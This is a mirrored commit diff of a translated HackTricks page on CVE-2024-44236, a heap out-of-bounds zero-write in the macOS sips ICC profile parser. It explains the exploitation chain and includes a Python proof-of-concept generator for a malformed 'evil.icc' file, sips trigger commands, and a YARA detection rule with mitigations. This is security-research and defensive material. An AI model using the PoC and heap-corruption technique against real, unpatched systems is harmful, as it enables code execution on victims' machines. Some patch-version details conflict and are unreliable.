mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
cb2a128c45
commit
d8ab2612c8
@ -1,53 +1,97 @@
|
|||||||
# WWW2Exec - sips ICC profil vanrednog pisanja (CVE-2024-44236)
|
# WWW2Exec - sips ICC profil vanjski zapis (CVE-2024-44236)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Pregled
|
## Pregled
|
||||||
|
|
||||||
Ranljivost vanrednog pisanja u Apple macOS Scriptable Image Processing System (`sips`) parseru ICC profila (macOS 15.0.1, sips-307) zbog nepravilne validacije polja `offsetToCLUT` u `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `) oznakama. Prilagođena ICC datoteka može izazvati nulti pisanja do 16 bajtova izvan bafera na hrpi, korumpirajući metapodatke hrpe ili pokazivače funkcija i omogućavajući izvršavanje proizvoljnog koda (CVE-2024-44236).
|
Ranljivost **zero-write** vanjskog zapisa u Apple macOS **Scriptable Image Processing System** (`sips`) parseru ICC profila (macOS 15.0.1, `sips-307`) omogućava napadaču da ošteti metapodatke hrpe i preusmeri primitiv u punu izvršavanje koda. Greška se nalazi u obradi polja `offsetToCLUT` oznaka `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Ako napadači postave `offsetToCLUT == tagDataSize`, parser briše **16 bajtova nakon kraja bafera hrpe**. Sprejanje hrpe omogućava napadaču da nula-izbriše strukture alokatora ili C++ pokazivače koji će kasnije biti dereferencirani, što dovodi do **arbitrary-write-to-exec** lanca (CVE-2024-44236, CVSS 7.8).
|
||||||
|
|
||||||
|
> Apple je ispravio grešku u macOS Sonoma 15.2 / Ventura 14.7.1 (30. oktobar 2024). Druga varijanta (CVE-2025-24185) ispravljena je u macOS 15.5 i iOS/iPadOS 18.5 1. aprila 2025.
|
||||||
|
|
||||||
## Ranljivi kod
|
## Ranljivi kod
|
||||||
|
|
||||||
Ranljiva funkcija čita i postavlja na nulu 16 bajtova počevši od ofseta koji kontroliše napadač, bez osiguranja da se nalazi unutar alociranog bafera:
|
|
||||||
```c
|
```c
|
||||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
if (offsetToCLUT <= tagDataSize) {
|
||||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||||
buffer[i] = 0;
|
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||||
|
buffer[i] = 0; // no bounds check vs allocated size!
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Samo se provera `offsetToCLUT <= totalDataLength` vrši. Postavljanjem `offsetToCLUT == tagDataSize`, petlja indeksira do 16 bajtova nakon kraja `buffer`, korumpirajući susedne heap metapodatke.
|
## Koraci Eksploatacije
|
||||||
|
|
||||||
## Koraci za eksploataciju
|
1. **Kreirajte zloćudni `.icc` profil**
|
||||||
|
|
||||||
1. **Kreirajte zloćudni `.icc` profil:**
|
* Postavite minimalni ICC header (`acsp`) i dodajte jedan `mAB ` (ili `mBA `) tag.
|
||||||
- Izgradite ICC header (128 bajtova) sa potpisom `acsp` i jednim `lutAToBType` ili `lutBToAType` tag unosa.
|
* Konfigurišite tabelu tagova tako da **`offsetToCLUT` bude jednak veličini taga** (`tagDataSize`).
|
||||||
- U tabeli tagova, postavite `offsetToCLUT` jednak `size` tag-a (`tagDataSize`).
|
* Postavite podatke pod kontrolom napadača odmah nakon taga tako da 16 nula pisanja preklapa metapodatke alokatora.
|
||||||
- Postavite podatke pod kontrolom napadača odmah nakon bloka podataka tag-a kako biste prepisali heap metapodatke.
|
|
||||||
2. **Pokrenite parsiranje:**
|
2. **Pokrenite parsiranje sa bilo kojom sips operacijom koja dodiruje profil**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sips --verifyColor malicious.icc
|
# putanja za verifikaciju (nije potreban izlazni fajl)
|
||||||
|
sips --verifyColor evil.icc
|
||||||
|
# ili implicitno prilikom konvertovanja slika koje sadrže profil
|
||||||
|
sips -s format png payload.jpg --out out.png
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Korupcija heap metapodataka:** OOB nulti-pisanja prepisuju metapodatke alokatora ili susedne pokazivače, omogućavajući napadaču da preuzme kontrolu nad tokom izvršavanja i postigne proizvoljno izvršavanje koda u kontekstu `sips` procesa.
|
3. **Kvar metapodataka na heap-u ➜ proizvoljno pisanje ➜ ROP**
|
||||||
|
Na Apple-ovom podrazumevanom **`nano_zone` alokatoru**, metapodaci za 16-bajtne slotove se nalaze **odmah nakon** poravnate 0x1000 slab. Postavljanjem taga profila na kraj takvog slaba, 16 nula-pisanja uništava `meta->slot_B`. Nakon narednog `free`, otrovani pokazivač se dodaje u malu slobodnu listu, omogućavajući napadaču **da alocira lažni objekat na proizvoljnoj adresi** i prepiše C++ vtable pokazivač koji koristi sips, konačno preusmeravajući izvršenje na ROP lanac smešten u zloćudnom ICC baferu.
|
||||||
|
|
||||||
|
### Brzi PoC generator (Python 3)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import struct, sys
|
||||||
|
|
||||||
|
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||||
|
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||||
|
profile = HDR
|
||||||
|
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||||
|
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||||
|
|
||||||
|
mab = bytearray(52) # tag payload (52 bytes)
|
||||||
|
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||||
|
profile += mab
|
||||||
|
|
||||||
|
open('evil.icc', 'wb').write(profile)
|
||||||
|
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||||
|
```
|
||||||
|
### YARA pravilo za detekciju
|
||||||
|
```yara
|
||||||
|
rule ICC_mAB_offsetToCLUT_anomaly
|
||||||
|
{
|
||||||
|
meta:
|
||||||
|
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||||
|
author = "HackTricks"
|
||||||
|
strings:
|
||||||
|
$magic = { 61 63 73 70 } // 'acsp'
|
||||||
|
$mab = { 6D 41 42 20 } // 'mAB '
|
||||||
|
$mba = { 6D 42 41 20 } // 'mBA '
|
||||||
|
condition:
|
||||||
|
$magic at 0 and
|
||||||
|
for any i in (0 .. 10): // up to 10 tags
|
||||||
|
(
|
||||||
|
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||||
|
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||||
|
)
|
||||||
|
}
|
||||||
|
```
|
||||||
## Uticaj
|
## Uticaj
|
||||||
|
|
||||||
Uspešna eksploatacija rezultira daljinskim proizvoljnim izvršavanjem koda sa privilegijama korisnika na macOS sistemima koji pokreću ranjivu `sips` alatku.
|
Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog **izvršavanja proizvoljnog koda** u kontekstu korisnika koji ga pokreće (Preview, QuickLook, renderovanje slika u Safariju, priloge u Mail-u, itd.), zaobilazeći Gatekeeper jer se profil može ugraditi unutar inače benignih slika (PNG/JPEG/TIFF).
|
||||||
|
|
||||||
## Detekcija
|
## Detekcija i ublažavanje
|
||||||
|
|
||||||
- Pratite prenose datoteka na uobičajenim protokolima (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
* **Zakrpite!** Osigurajte da host radi na macOS ≥ 15.2 / 14.7.1 (ili iOS/iPadOS ≥ 18.1).
|
||||||
- Istražite prenesene datoteke sa potpisom `acsp`.
|
* Implementirajte YARA pravilo iznad na email prolazima i EDR rešenjima.
|
||||||
- Za svaki `mAB ` ili `mBA ` tag, proverite da li polje `Offset to CLUT` jednako `Tag data size`.
|
* Uklonite ili sanirajte ugrađene ICC profile pomoću `exiftool -icc_profile= -overwrite_original <file>` pre daljnje obrade nepouzdanih fajlova.
|
||||||
- Obeležite kao sumnjivo ako je ovaj uslov ispunjen.
|
* Ojačajte Preview/QuickLook pokretanjem unutar sandboxovanih “transparentnost i modernizacija” VM-ova prilikom analize nepoznatog sadržaja.
|
||||||
|
* Za DFIR, tražite nedavnu izvršavanje `sips --verifyColor` ili učitavanje `ColorSync` biblioteka od strane sandboxovanih aplikacija u ujedinjenom logu.
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
- ZDI blog: CVE-2024-44236: Ranljivost daljinskog izvršavanja koda u Apple macOS sips alatki
|
* Trend Micro Zero Day Initiative savetovanje ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||||
- Apple oktobar 2024. Bezbednosno ažuriranje (zakrpa koja isporučuje CVE-2024-44236)
|
* Apple sigurnosne ažuriranja HT213981 “O sadržaju sigurnosti macOS Sonoma 15.2”
|
||||||
https://support.apple.com/en-us/121564
|
https://support.apple.com/en-us/HT213981
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user